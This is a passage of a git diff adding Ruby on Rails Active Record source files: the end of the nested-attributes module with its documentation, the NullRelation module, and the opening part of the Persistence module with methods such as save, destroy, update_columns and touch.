+ # = Active Record Nested Attributes
+ #
+ # Nested attributes allow you to save attributes on associated records
+ # through the parent. By default nested attribute updating is turned off
+ # and you can enable it using the accepts_nested_attributes_for class
+ # method. When you enable nested attributes an attribute writer is
+ # defined on the model.
+ #
+ # The attribute writer is named after the association, which means that
+ # in the following example, two new methods are added to your model:
+ #
+ # <tt>author_attributes=(attributes)</tt> and
+ # <tt>pages_attributes=(attributes)</tt>.
+ #
+ # class Book < ActiveRecord::Base
+ # has_one :author
+ # has_many :pages
+ #
+ # accepts_nested_attributes_for :author, :pages
+ # end
+ #
+ # Note that the <tt>:autosave</tt> option is automatically enabled on every
+ # association that accepts_nested_attributes_for is used for.
+ #
+ # === One-to-one
+ #
+ # Consider a Member model that has one Avatar:
+ #
+ # class Member < ActiveRecord::Base
+ # has_one :avatar
+ # accepts_nested_attributes_for :avatar
+ # end
+ #
+ # Enabling nested attributes on a one-to-one association allows you to
+ # create the member and avatar in one go:
+ #
+ # params = { member: { name: 'Jack', avatar_attributes: { icon: 'smiling' } } }
+ # member = Member.create(params[:member])
+ # member.avatar.id # => 2
+ # member.avatar.icon # => 'smiling'
+ #
+ # It also allows you to update the avatar through the member:
+ #
+ # params = { member: { avatar_attributes: { id: '2', icon: 'sad' } } }
+ # member.update params[:member]
+ # member.avatar.icon # => 'sad'
+ #
+ # By default you will only be able to set and update attributes on the
+ # associated model. If you want to destroy the associated model through the
+ # attributes hash, you have to enable it first using the
+ # <tt>:allow_destroy</tt> option.
+ #
+ # class Member < ActiveRecord::Base
+ # has_one :avatar
+ # accepts_nested_attributes_for :avatar, allow_destroy: true
+ # end
+ #
+ # Now, when you add the <tt>_destroy</tt> key to the attributes hash, with a
+ # value that evaluates to +true+, you will destroy the associated model:
+ #
+ # member.avatar_attributes = { id: '2', _destroy: '1' }
+ # member.avatar.marked_for_destruction? # => true
+ # member.save
+ # member.reload.avatar # => nil
+ #
+ # Note that the model will _not_ be destroyed until the parent is saved.
+ #
+ # === One-to-many
+ #
+ # Consider a member that has a number of posts:
+ #
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts
+ # end
+ #
+ # You can now set or update attributes on the associated posts through
+ # an attribute hash for a member: include the key +:posts_attributes+
+ # with an array of hashes of post attributes as a value.
+ #
+ # For each hash that does _not_ have an <tt>id</tt> key a new record will
+ # be instantiated, unless the hash also contains a <tt>_destroy</tt> key
+ # that evaluates to +true+.
+ #
+ # params = { member: {
+ # name: 'joe', posts_attributes: [
+ # { title: 'Kari, the awesome Ruby documentation browser!' },
+ # { title: 'The egalitarian assumption of the modern citizen' },
+ # { title: '', _destroy: '1' } # this will be ignored
+ # ]
+ # }}
+ #
+ # member = Member.create(params[:member])
+ # member.posts.length # => 2
+ # member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
+ # member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
+ #
+ # You may also set a :reject_if proc to silently ignore any new record
+ # hashes if they fail to pass your criteria. For example, the previous
+ # example could be rewritten as:
+ #
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts, reject_if: proc { |attributes| attributes['title'].blank? }
+ # end
+ #
+ # params = { member: {
+ # name: 'joe', posts_attributes: [
+ # { title: 'Kari, the awesome Ruby documentation browser!' },
+ # { title: 'The egalitarian assumption of the modern citizen' },
+ # { title: '' } # this will be ignored because of the :reject_if proc
+ # ]
+ # }}
+ #
+ # member = Member.create(params[:member])
+ # member.posts.length # => 2
+ # member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
+ # member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
+ #
+ # Alternatively, :reject_if also accepts a symbol for using methods:
+ #
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts, reject_if: :new_record?
+ # end
+ #
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts, reject_if: :reject_posts
+ #
+ # def reject_posts(attributed)
+ # attributed['title'].blank?
+ # end
+ # end
+ #
+ # If the hash contains an <tt>id</tt> key that matches an already
+ # associated record, the matching record will be modified:
+ #
+ # member.attributes = {
+ # name: 'Joe',
+ # posts_attributes: [
+ # { id: 1, title: '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!' },
+ # { id: 2, title: '[UPDATED] other post' }
+ # ]
+ # }
+ #
+ # member.posts.first.title # => '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!'
+ # member.posts.second.title # => '[UPDATED] other post'
+ #
+ # By default the associated records are protected from being destroyed. If
+ # you want to destroy any of the associated records through the attributes
+ # hash, you have to enable it first using the <tt>:allow_destroy</tt>
+ # option. This will allow you to also use the <tt>_destroy</tt> key to
+ # destroy existing records:
+ #
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts, allow_destroy: true
+ # end
+ #
+ # params = { member: {
+ # posts_attributes: [{ id: '2', _destroy: '1' }]
+ # }}
+ #
+ # member.attributes = params[:member]
+ # member.posts.detect { |p| p.id == 2 }.marked_for_destruction? # => true
+ # member.posts.length # => 2
+ # member.save
+ # member.reload.posts.length # => 1
+ #
+ # Nested attributes for an associated collection can also be passed in
+ # the form of a hash of hashes instead of an array of hashes:
+ #
+ # Member.create(name: 'joe',
+ # posts_attributes: { first: { title: 'Foo' },
+ # second: { title: 'Bar' } })
+ #
+ # has the same effect as
+ #
+ # Member.create(name: 'joe',
+ # posts_attributes: [ { title: 'Foo' },
+ # { title: 'Bar' } ])
+ #
+ # The keys of the hash which is the value for +:posts_attributes+ are
+ # ignored in this case.
+ # However, it is not allowed to use +'id'+ or +:id+ for one of
+ # such keys, otherwise the hash will be wrapped in an array and
+ # interpreted as an attribute hash for a single post.
+ #
+ # Passing attributes for an associated collection in the form of a hash
+ # of hashes can be used with hashes generated from HTTP/HTML parameters,
+ # where there maybe no natural way to submit an array of hashes.
+ #
+ # === Saving
+ #
+ # All changes to models, including the destruction of those marked for
+ # destruction, are saved and destroyed automatically and atomically when
+ # the parent model is saved. This happens inside the transaction initiated
+ # by the parents save method. See ActiveRecord::AutosaveAssociation.
+ #
+ # === Validating the presence of a parent model
+ #
+ # If you want to validate that a child record is associated with a parent
+ # record, you can use <tt>validates_presence_of</tt> and
+ # <tt>inverse_of</tt> as this example illustrates:
+ #
+ # class Member < ActiveRecord::Base
+ # has_many :posts, inverse_of: :member
+ # accepts_nested_attributes_for :posts
+ # end
+ #
+ # class Post < ActiveRecord::Base
+ # belongs_to :member, inverse_of: :posts
+ # validates_presence_of :member
+ # end
+ module ClassMethods
+ REJECT_ALL_BLANK_PROC = proc { |attributes| attributes.all? { |key, value| key == '_destroy' || value.blank? } }
+
+ # Defines an attributes writer for the specified association(s).
+ #
+ # Supported options:
+ # [:allow_destroy]
+ # If true, destroys any members from the attributes hash with a
+ # <tt>_destroy</tt> key and a value that evaluates to +true+
+ # (eg. 1, '1', true, or 'true'). This option is off by default.
+ # [:reject_if]
+ # Allows you to specify a Proc or a Symbol pointing to a method
+ # that checks whether a record should be built for a certain attribute
+ # hash. The hash is passed to the supplied Proc or the method
+ # and it should return either +true+ or +false+. When no :reject_if
+ # is specified, a record will be built for all attribute hashes that
+ # do not have a <tt>_destroy</tt> value that evaluates to true.
+ # Passing <tt>:all_blank</tt> instead of a Proc will create a proc
+ # that will reject a record where all the attributes are blank excluding
+ # any value for _destroy.
+ # [:limit]
+ # Allows you to specify the maximum number of the associated records that
+ # can be processed with the nested attributes. Limit also can be specified as a
+ # Proc or a Symbol pointing to a method that should return number. If the size of the
+ # nested attributes array exceeds the specified limit, NestedAttributes::TooManyRecords
+ # exception is raised. If omitted, any number associations can be processed.
+ # Note that the :limit option is only applicable to one-to-many associations.
+ # [:update_only]
+ # For a one-to-one association, this option allows you to specify how
+ # nested attributes are to be used when an associated record already
+ # exists. In general, an existing record may either be updated with the
+ # new set of attribute values or be replaced by a wholly new record
+ # containing those values. By default the :update_only option is +false+
+ # and the nested attributes are used to update the existing record only
+ # if they include the record's <tt>:id</tt> value. Otherwise a new
+ # record will be instantiated and used to replace the existing one.
+ # However if the :update_only option is +true+, the nested attributes
+ # are used to update the record's attributes always, regardless of
+ # whether the <tt>:id</tt> is present. The option is ignored for collection
+ # associations.
+ #
+ # Examples:
+ # # creates avatar_attributes=
+ # accepts_nested_attributes_for :avatar, reject_if: proc { |attributes| attributes['name'].blank? }
+ # # creates avatar_attributes=
+ # accepts_nested_attributes_for :avatar, reject_if: :all_blank
+ # # creates avatar_attributes= and posts_attributes=
+ # accepts_nested_attributes_for :avatar, :posts, allow_destroy: true
+ def accepts_nested_attributes_for(*attr_names)
+ options = { :allow_destroy => false, :update_only => false }
+ options.update(attr_names.extract_options!)
+ options.assert_valid_keys(:allow_destroy, :reject_if, :limit, :update_only)
+ options[:reject_if] = REJECT_ALL_BLANK_PROC if options[:reject_if] == :all_blank
+
+ attr_names.each do |association_name|
+ if reflection = reflect_on_association(association_name)
+ reflection.options[:autosave] = true
+ add_autosave_association_callbacks(reflection)
+
+ nested_attributes_options = self.nested_attributes_options.dup
+ nested_attributes_options[association_name.to_sym] = options
+ self.nested_attributes_options = nested_attributes_options
+
+ type = (reflection.collection? ? :collection : :one_to_one)
+ generate_association_writer(association_name, type)
+ else
+ raise ArgumentError, "No association found for name `#{association_name}'. Has it been defined yet?"
+ end
+ end
+ end
+
+ private
+
+ # Generates a writer method for this association. Serves as a point for
+ # accessing the objects in the association. For example, this method
+ # could generate the following:
+ #
+ # def pirate_attributes=(attributes)
+ # assign_nested_attributes_for_one_to_one_association(:pirate, attributes)
+ # end
+ #
+ # This redirects the attempts to write objects in an association through
+ # the helper methods defined below. Makes it seem like the nested
+ # associations are just regular associations.
+ def generate_association_writer(association_name, type)
+ generated_feature_methods.module_eval <<-eoruby, __FILE__, __LINE__ + 1
+ if method_defined?(:#{association_name}_attributes=)
+ remove_method(:#{association_name}_attributes=)
+ end
+ def #{association_name}_attributes=(attributes)
+ assign_nested_attributes_for_#{type}_association(:#{association_name}, attributes)
+ end
+ eoruby
+ end
+ end
+
+ # Returns ActiveRecord::AutosaveAssociation::marked_for_destruction? It's
+ # used in conjunction with fields_for to build a form element for the
+ # destruction of this association.
+ #
+ # See ActionView::Helpers::FormHelper::fields_for for more info.
+ def _destroy
+ marked_for_destruction?
+ end
+
+ private
+
+ # Attribute hash keys that should not be assigned as normal attributes.
+ # These hash keys are nested attributes implementation details.
+ UNASSIGNABLE_KEYS = %w( id _destroy )
+
+ # Assigns the given attributes to the association.
+ #
+ # If an associated record does not yet exist, one will be instantiated. If
+ # an associated record already exists, the method's behavior depends on
+ # the value of the update_only option. If update_only is +false+ and the
+ # given attributes include an <tt>:id</tt> that matches the existing record's
+ # id, then the existing record will be modified. If no <tt>:id</tt> is provided
+ # it will be replaced with a new record. If update_only is +true+ the existing
+ # record will be modified regardless of whether an <tt>:id</tt> is provided.
+ #
+ # If the given attributes include a matching <tt>:id</tt> attribute, or
+ # update_only is true, and a <tt>:_destroy</tt> key set to a truthy value,
+ # then the existing record will be marked for destruction.
+ def assign_nested_attributes_for_one_to_one_association(association_name, attributes)
+ options = self.nested_attributes_options[association_name]
+ attributes = attributes.with_indifferent_access
+
+ if (options[:update_only] || !attributes['id'].blank?) && (record = send(association_name)) &&
+ (options[:update_only] || record.id.to_s == attributes['id'].to_s)
+ assign_to_or_mark_for_destruction(record, attributes, options[:allow_destroy]) unless call_reject_if(association_name, attributes)
+
+ elsif attributes['id'].present?
+ raise_nested_attributes_record_not_found!(association_name, attributes['id'])
+
+ elsif !reject_new_record?(association_name, attributes)
+ method = "build_#{association_name}"
+ if respond_to?(method)
+ send(method, attributes.except(*UNASSIGNABLE_KEYS))
+ else
+ raise ArgumentError, "Cannot build association `#{association_name}'. Are you trying to build a polymorphic one-to-one association?"
+ end
+ end
+ end
+
+ # Assigns the given attributes to the collection association.
+ #
+ # Hashes with an <tt>:id</tt> value matching an existing associated record
+ # will update that record. Hashes without an <tt>:id</tt> value will build
+ # a new record for the association. Hashes with a matching <tt>:id</tt>
+ # value and a <tt>:_destroy</tt> key set to a truthy value will mark the
+ # matched record for destruction.
+ #
+ # For example:
+ #
+ # assign_nested_attributes_for_collection_association(:people, {
+ # '1' => { id: '1', name: 'Peter' },
+ # '2' => { name: 'John' },
+ # '3' => { id: '2', _destroy: true }
+ # })
+ #
+ # Will update the name of the Person with ID 1, build a new associated
+ # person with the name 'John', and mark the associated Person with ID 2
+ # for destruction.
+ #
+ # Also accepts an Array of attribute hashes:
+ #
+ # assign_nested_attributes_for_collection_association(:people, [
+ # { id: '1', name: 'Peter' },
+ # { name: 'John' },
+ # { id: '2', _destroy: true }
+ # ])
+ def assign_nested_attributes_for_collection_association(association_name, attributes_collection)
+ options = self.nested_attributes_options[association_name]
+
+ unless attributes_collection.is_a?(Hash) || attributes_collection.is_a?(Array)
+ raise ArgumentError, "Hash or Array expected, got #{attributes_collection.class.name} (#{attributes_collection.inspect})"
+ end
+
+ check_record_limit!(options[:limit], attributes_collection)
+
+ if attributes_collection.is_a? Hash
+ keys = attributes_collection.keys
+ attributes_collection = if keys.include?('id') || keys.include?(:id)
+ [attributes_collection]
+ else
+ attributes_collection.values
+ end
+ end
+
+ association = association(association_name)
+
+ existing_records = if association.loaded?
+ association.target
+ else
+ attribute_ids = attributes_collection.map {|a| a['id'] || a[:id] }.compact
+ attribute_ids.empty? ? [] : association.scope.where(association.klass.primary_key => attribute_ids)
+ end
+
+ attributes_collection.each do |attributes|
+ attributes = attributes.with_indifferent_access
+
+ if attributes['id'].blank?
+ unless reject_new_record?(association_name, attributes)
+ association.build(attributes.except(*UNASSIGNABLE_KEYS))
+ end
+ elsif existing_record = existing_records.detect { |record| record.id.to_s == attributes['id'].to_s }
+ unless association.loaded? || call_reject_if(association_name, attributes)
+ # Make sure we are operating on the actual object which is in the association's
+ # proxy_target array (either by finding it, or adding it if not found)
+ target_record = association.target.detect { |record| record == existing_record }
+
+ if target_record
+ existing_record = target_record
+ else
+ association.add_to_target(existing_record)
+ end
+ end
+
+ if !call_reject_if(association_name, attributes)
+ assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy])
+ end
+ else
+ raise_nested_attributes_record_not_found!(association_name, attributes['id'])
+ end
+ end
+ end
+
+ # Takes in a limit and checks if the attributes_collection has too many
+ # records. The method will take limits in the form of symbols, procs, and
+ # number-like objects (anything that can be compared with an integer).
+ #
+ # Will raise an TooManyRecords error if the attributes_collection is
+ # larger than the limit.
+ def check_record_limit!(limit, attributes_collection)
+ if limit
+ limit = case limit
+ when Symbol
+ send(limit)
+ when Proc
+ limit.call
+ else
+ limit
+ end
+
+ if limit && attributes_collection.size > limit
+ raise TooManyRecords, "Maximum #{limit} records are allowed. Got #{attributes_collection.size} records instead."
+ end
+ end
+ end
+
+ # Updates a record with the +attributes+ or marks it for destruction if
+ # +allow_destroy+ is +true+ and has_destroy_flag? returns +true+.
+ def assign_to_or_mark_for_destruction(record, attributes, allow_destroy)
+ record.assign_attributes(attributes.except(*UNASSIGNABLE_KEYS))
+ record.mark_for_destruction if has_destroy_flag?(attributes) && allow_destroy
+ end
+
+ # Determines if a hash contains a truthy _destroy key.
+ def has_destroy_flag?(hash)
+ ConnectionAdapters::Column.value_to_boolean(hash['_destroy'])
+ end
+
+ # Determines if a new record should be build by checking for
+ # has_destroy_flag? or if a <tt>:reject_if</tt> proc exists for this
+ # association and evaluates to +true+.
+ def reject_new_record?(association_name, attributes)
+ has_destroy_flag?(attributes) || call_reject_if(association_name, attributes)
+ end
+
+ # Determines if a record with the particular +attributes+ should be
+ # rejected by calling the reject_if Symbol or Proc (if defined).
+ # The reject_if option is defined by +accepts_nested_attributes_for+.
+ #
+ # Returns false if there is a +destroy_flag+ on the attributes.
+ def call_reject_if(association_name, attributes)
+ return false if has_destroy_flag?(attributes)
+ case callback = self.nested_attributes_options[association_name][:reject_if]
+ when Symbol
+ method(callback).arity == 0 ? send(callback) : send(callback, attributes)
+ when Proc
+ callback.call(attributes)
+ end
+ end
+
+ def raise_nested_attributes_record_not_found!(association_name, record_id)
+ raise RecordNotFound, "Couldn't find #{self.class.reflect_on_association(association_name).klass.name} with ID=#{record_id} for #{self.class.name} with ID=#{id}"
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/null_relation.rb b/activerecord/lib/active_record/null_relation.rb
new file mode 100644
index 0000000..711fc8b
--- /dev/null
+++ b/activerecord/lib/active_record/null_relation.rb
@@ -0,0 +1,65 @@
+# -*- coding: utf-8 -*-
+
+module ActiveRecord
+ module NullRelation # :nodoc:
+ def exec_queries
+ @records = []
+ end
+
+ def pluck(_column_name)
+ []
+ end
+
+ def delete_all(_conditions = nil)
+ 0
+ end
+
+ def update_all(_updates, _conditions = nil, _options = {})
+ 0
+ end
+
+ def delete(_id_or_array)
+ 0
+ end
+
+ def size
+ 0
+ end
+
+ def empty?
+ true
+ end
+
+ def any?
+ false
+ end
+
+ def many?
+ false
+ end
+
+ def to_sql
+ @to_sql ||= ""
+ end
+
+ def where_values_hash
+ {}
+ end
+
+ def count(*)
+ 0
+ end
+
+ def sum(*)
+ 0
+ end
+
+ def calculate(_operation, _column_name, _options = {})
+ nil
+ end
+
+ def exists?(_id = false)
+ false
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/persistence.rb b/activerecord/lib/active_record/persistence.rb
new file mode 100644
index 0000000..59f8e90
--- /dev/null
+++ b/activerecord/lib/active_record/persistence.rb
@@ -0,0 +1,467 @@
+module ActiveRecord
+ # = Active Record Persistence
+ module Persistence
+ extend ActiveSupport::Concern
+
+ module ClassMethods
+ # Creates an object (or multiple objects) and saves it to the database, if validations pass.
+ # The resulting object is returned whether the object was saved successfully to the database or not.
+ #
+ # The +attributes+ parameter can be either a Hash or an Array of Hashes. These Hashes describe the
+ # attributes on the objects that are to be created.
+ #
+ # +create+ respects mass-assignment security and accepts either +:as+ or +:without_protection+ options
+ # in the +options+ parameter.
+ #
+ # ==== Examples
+ # # Create a single new object
+ # User.create(first_name: 'Jamie')
+ #
+ # # Create an Array of new objects
+ # User.create([{ first_name: 'Jamie' }, { first_name: 'Jeremy' }])
+ #
+ # # Create a single object and pass it into a block to set other attributes.
+ # User.create(first_name: 'Jamie') do |u|
+ # u.is_admin = false
+ # end
+ #
+ # # Creating an Array of new objects using a block, where the block is executed for each object:
+ # User.create([{ first_name: 'Jamie' }, { first_name: 'Jeremy' }]) do |u|
+ # u.is_admin = false
+ # end
+ def create(attributes = nil, &block)
+ if attributes.is_a?(Array)
+ attributes.collect { |attr| create(attr, &block) }
+ else
+ object = new(attributes, &block)
+ object.save
+ object
+ end
+ end
+
+ # Given an attributes hash, +instantiate+ returns a new instance of
+ # the appropriate class.
+ #
+ # For example, +Post.all+ may return Comments, Messages, and Emails
+ # by storing the record's subclass in a +type+ attribute. By calling
+ # +instantiate+ instead of +new+, finder methods ensure they get new
+ # instances of the appropriate class for each record.
+ #
+ # See +ActiveRecord::Inheritance#discriminate_class_for_record+ to see
+ # how this "single-table" inheritance mapping is implemented.
+ def instantiate(record, column_types = {})
+ klass = discriminate_class_for_record(record)
+ column_types = klass.decorate_columns(column_types.dup)
+ klass.allocate.init_with('attributes' => record, 'column_types' => column_types)
+ end
+
+ private
+ # Called by +instantiate+ to decide which class to use for a new
+ # record instance.
+ #
+ # See +ActiveRecord::Inheritance#discriminate_class_for_record+ for
+ # the single-table inheritance discriminator.
+ def discriminate_class_for_record(record)
+ self
+ end
+ end
+
+ # Returns true if this object hasn't been saved yet -- that is, a record
+ # for the object doesn't exist in the data store yet; otherwise, returns false.
+ def new_record?
+ sync_with_transaction_state
+ @new_record
+ end
+
+ # Returns true if this object has been destroyed, otherwise returns false.
+ def destroyed?
+ sync_with_transaction_state
+ @destroyed
+ end
+
+ # Returns true if the record is persisted, i.e. it's not a new record and it was
+ # not destroyed, otherwise returns false.
+ def persisted?
+ !(new_record? || destroyed?)
+ end
+
+ # Saves the model.
+ #
+ # If the model is new a record gets created in the database, otherwise
+ # the existing record gets updated.
+ #
+ # By default, save always run validations. If any of them fail the action
+ # is cancelled and +save+ returns +false+. However, if you supply
+ # validate: false, validations are bypassed altogether. See
+ # ActiveRecord::Validations for more information.
+ #
+ # There's a series of callbacks associated with +save+. If any of the
+ # <tt>before_*</tt> callbacks return +false+ the action is cancelled and
+ # +save+ returns +false+. See ActiveRecord::Callbacks for further
+ # details.
+ def save(*)
+ create_or_update
+ rescue ActiveRecord::RecordInvalid
+ false
+ end
+
+ # Saves the model.
+ #
+ # If the model is new a record gets created in the database, otherwise
+ # the existing record gets updated.
+ #
+ # With <tt>save!</tt> validations always run. If any of them fail
+ # ActiveRecord::RecordInvalid gets raised. See ActiveRecord::Validations
+ # for more information.
+ #
+ # There's a series of callbacks associated with <tt>save!</tt>. If any of
+ # the <tt>before_*</tt> callbacks return +false+ the action is cancelled
+ # and <tt>save!</tt> raises ActiveRecord::RecordNotSaved. See
+ # ActiveRecord::Callbacks for further details.
+ def save!(*)
+ create_or_update || raise(RecordNotSaved)
+ end
+
+ # Deletes the record in the database and freezes this instance to
+ # reflect that no changes should be made (since they can't be
+ # persisted). Returns the frozen instance.
+ #
+ # The row is simply removed with an SQL +DELETE+ statement on the
+ # record's primary key, and no callbacks are executed.
+ #
+ # To enforce the object's +before_destroy+ and +after_destroy+
+ # callbacks or any <tt>:dependent</tt> association
+ # options, use <tt>#destroy</tt>.
+ def delete
+ self.class.delete(id) if persisted?
+ @destroyed = true
+ freeze
+ end
+
+ # Deletes the record in the database and freezes this instance to reflect
+ # that no changes should be made (since they can't be persisted).
+ #
+ # There's a series of callbacks associated with <tt>destroy</tt>. If
+ # the <tt>before_destroy</tt> callback return +false+ the action is cancelled
+ # and <tt>destroy</tt> returns +false+. See
+ # ActiveRecord::Callbacks for further details.
+ def destroy
+ raise ReadOnlyRecord if readonly?
+ destroy_associations
+ destroy_row if persisted?
+ @destroyed = true
+ freeze
+ end
+
+ # Deletes the record in the database and freezes this instance to reflect
+ # that no changes should be made (since they can't be persisted).
+ #
+ # There's a series of callbacks associated with <tt>destroy!</tt>. If
+ # the <tt>before_destroy</tt> callback return +false+ the action is cancelled
+ # and <tt>destroy!</tt> raises ActiveRecord::RecordNotDestroyed. See
+ # ActiveRecord::Callbacks for further details.
+ def destroy!
+ destroy || raise(ActiveRecord::RecordNotDestroyed)
+ end
+
+ # Returns an instance of the specified +klass+ with the attributes of the
+ # current record. This is mostly useful in relation to single-table
+ # inheritance structures where you want a subclass to appear as the
+ # superclass. This can be used along with record identification in
+ # Action Pack to allow, say, <tt>Client < Company</tt> to do something
+ # like render <tt>partial: @client.becomes(Company)</tt> to render that
+ # instance using the companies/company partial instead of clients/client.
+ #
+ # Note: The new instance will share a link to the same attributes as the original class.
+ # So any change to the attributes in either instance will affect the other.
+ def becomes(klass)
+ became = klass.new
+ became.instance_variable_set("@attributes", @attributes)
+ became.instance_variable_set("@attributes_cache", @attributes_cache)
+ became.instance_variable_set("@new_record", new_record?)
+ became.instance_variable_set("@destroyed", destroyed?)
+ became.instance_variable_set("@errors", errors)
+ became
+ end
+
+ # Wrapper around +becomes+ that also changes the instance's sti column value.
+ # This is especially useful if you want to persist the changed class in your
+ # database.
+ #
+ # Note: The old instance's sti column value will be changed too, as both objects
+ # share the same set of attributes.
+ def becomes!(klass)
+ became = becomes(klass)
+ became.public_send("#{klass.inheritance_column}=", klass.sti_name) unless self.class.descends_from_active_record?
+ became
+ end
+
+ # Updates a single attribute and saves the record.
+ # This is especially useful for boolean flags on existing records. Also note that
+ #
+ # * Validation is skipped.
+ # * Callbacks are invoked.
+ # * updated_at/updated_on column is updated if that column is available.
+ # * Updates all the attributes that are dirty in this object.
+ #
+ def update_attribute(name, value)
+ name = name.to_s
+ verify_readonly_attribute(name)
+ send("#{name}=", value)
+ save(validate: false)
+ end
+
+ # Updates the attributes of the model from the passed-in hash and saves the
+ # record, all wrapped in a transaction. If the object is invalid, the saving
+ # will fail and false will be returned.
+ def update(attributes)
+ # The following transaction covers any possible database side-effects of the
+ # attributes assignment. For example, setting the IDs of a child collection.
+ with_transaction_returning_status do
+ assign_attributes(attributes)
+ save
+ end
+ end
+
+ alias update_attributes update
+
+ # Updates its receiver just like +update+ but calls <tt>save!</tt> instead
+ # of +save+, so an exception is raised if the record is invalid.
+ def update!(attributes)
+ # The following transaction covers any possible database side-effects of the
+ # attributes assignment. For example, setting the IDs of a child collection.
+ with_transaction_returning_status do
+ assign_attributes(attributes)
+ save!
+ end
+ end
+
+ alias update_attributes! update!
+
+ # Equivalent to <code>update_columns(name => value)</code>.
+ def update_column(name, value)
+ update_columns(name => value)
+ end
+
+ # Updates the attributes directly in the database issuing an UPDATE SQL
+ # statement and sets them in the receiver:
+ #
+ # user.update_columns(last_request_at: Time.current)
+ #
+ # This is the fastest way to update attributes because it goes straight to
+ # the database, but take into account that in consequence the regular update
+ # procedures are totally bypassed. In particular:
+ #
+ # * Validations are skipped.
+ # * Callbacks are skipped.
+ # * +updated_at+/+updated_on+ are not updated.
+ #
+ # This method raises an +ActiveRecord::ActiveRecordError+ when called on new
+ # objects, or when at least one of the attributes is marked as readonly.
+ def update_columns(attributes)
+ raise ActiveRecordError, "can not update on a new record object" unless persisted?
+
+ attributes.each_key do |key|
+ verify_readonly_attribute(key.to_s)
+ end
+
+ updated_count = self.class.unscoped.where(self.class.primary_key => id).update_all(attributes)
+
+ attributes.each do |k, v|
+ raw_write_attribute(k, v)
+ end
+
+ updated_count == 1
+ end
+
+ # Initializes +attribute+ to zero if +nil+ and adds the value passed as +by+ (default is 1).
+ # The increment is performed directly on the underlying attribute, no setter is invoked.
+ # Only makes sense for number-based attributes. Returns +self+.
+ def increment(attribute, by = 1)
+ self[attribute] ||= 0
+ self[attribute] += by
+ self
+ end
+
+ # Wrapper around +increment+ that saves the record. This method differs from
+ # its non-bang version in that it passes through the attribute setter.
+ # Saving is not subjected to validation checks. Returns +true+ if the
+ # record could be saved.
+ def increment!(attribute, by = 1)
+ increment(attribute, by).update_attribute(attribute, self[attribute])
+ end
+
+ # Initializes +attribute+ to zero if +nil+ and subtracts the value passed as +by+ (default is 1).
+ # The decrement is performed directly on the underlying attribute, no setter is invoked.
+ # Only makes sense for number-based attributes. Returns +self+.
+ def decrement(attribute, by = 1)
+ self[attribute] ||= 0
+ self[attribute] -= by
+ self
+ end
+
+ # Wrapper around +decrement+ that saves the record. This method differs from
+ # its non-bang version in that it passes through the attribute setter.
+ # Saving is not subjected to validation checks. Returns +true+ if the
+ # record could be saved.
+ def decrement!(attribute, by = 1)
+ decrement(attribute, by).update_attribute(attribute, self[attribute])
+ end
+
+ # Assigns to +attribute+ the boolean opposite of <tt>attribute?</tt>. So
+ # if the predicate returns +true+ the attribute will become +false+. This
+ # method toggles directly the underlying value without calling any setter.
+ # Returns +self+.
+ def toggle(attribute)
+ self[attribute] = !send("#{attribute}?")
+ self
+ end
+
+ # Wrapper around +toggle+ that saves the record. This method differs from
+ # its non-bang version in that it passes through the attribute setter.
+ # Saving is not subjected to validation checks. Returns +true+ if the
+ # record could be saved.
+ def toggle!(attribute)
+ toggle(attribute).update_attribute(attribute, self[attribute])
+ end
+
+ # Reloads the attributes of this object from the database.
+ # The optional options argument is passed to find when reloading so you
+ # may do e.g. record.reload(lock: true) to reload the same record with
+ # an exclusive row lock.
+ def reload(options = nil)
+ clear_aggregation_cache
+ clear_association_cache
+
+ fresh_object =
+ if options && options[:lock]
+ self.class.unscoped { self.class.lock.find(id) }
+ else
+ self.class.unscoped { self.class.find(id) }
+ end
+
+ @attributes.update(fresh_object.instance_variable_get('@attributes'))
+ @columns_hash = fresh_object.instance_variable_get('@columns_hash')
+
+ @attributes_cache = {}
+ self
+ end
+
+ # Saves the record with the updated_at/on attributes set to the current time.
+ # Please note that no validation is performed and no callbacks are executed.
+ # If an attribute name is passed, that attribute is updated along with
+ # updated_at/on attributes.
+ #
+ # product.touch # updates updated_at/on
+ # product.touch(:designed_at) # updates the designed_at attribute and updated_at/on
+ #
+ # If used along with +belongs_to+ then +touch+ will invoke +touch+ method on associated object.
+ #
+ # class Brake < ActiveRecord::Base
+ # belongs_to :car, touch: true
+ # end
+ #
+ # class Car < ActiveRecord::Base
+ # belongs_to :corporation, touch: true
+ # end
+ #
+ # # triggers @brake.car.touch and @brake.car.corporation.touch
+ # @brake.touch
+ #
+ # Note that +touch+ must be used on a persisted object, or else an
+ # ActiveRecordError will be thrown. For example:
+ #
+ # ball = Ball.new
+ # ball.touch(:updated_at) # => raises ActiveRecordError
+ #
+ def touch(name = nil)
+ raise ActiveRecordError, "can not touch on a new record object" unless persisted?
+
+ attributes = timestamp_attributes_for_update_in_model
+ attributes << name if name
+
+ unless attributes.empty?
+ current_time = current_time_from_proper_timezone
+ changes = {}
+
+ attributes.each do |column|
+ column = column.to_s
+ changes[column] = write_attribute(column, current_time)
+ end
+
+ changes[self.class.locking_column] = increment_lock if locking_enabled?
+
+ @changed_attributes.except!(*changes.keys)
+ primary_key = self.class.primary_key
+ self.class.unscoped.where(primary_key => self[primary_key]).update_all(changes) == 1
+ end
+ end
+
+ private
+
+ # A hook to be overridden by association modules.
+ def destroy_associations
+ end
+
+ def destroy_row
+ relation_for_destroy.delete_all
+ end
+
+ def relation_for_destroy
+ pk = self.class.primary_key
+ column = self.class.columns_hash[pk]
+ substitute = self.class.connection.substitute_at(column, 0)
+
+ relation = self.class.unscoped.where(
+ self.class.arel_table[pk].eq(substitute))
+
+ relation.bind_values = [[column, id]]
+ relation
+ end
+
+ def create_or_update
+ raise ReadOnlyRecord if readonly?
+ result = new_record? ? create_record : update_record
+ result != false
+ end
+
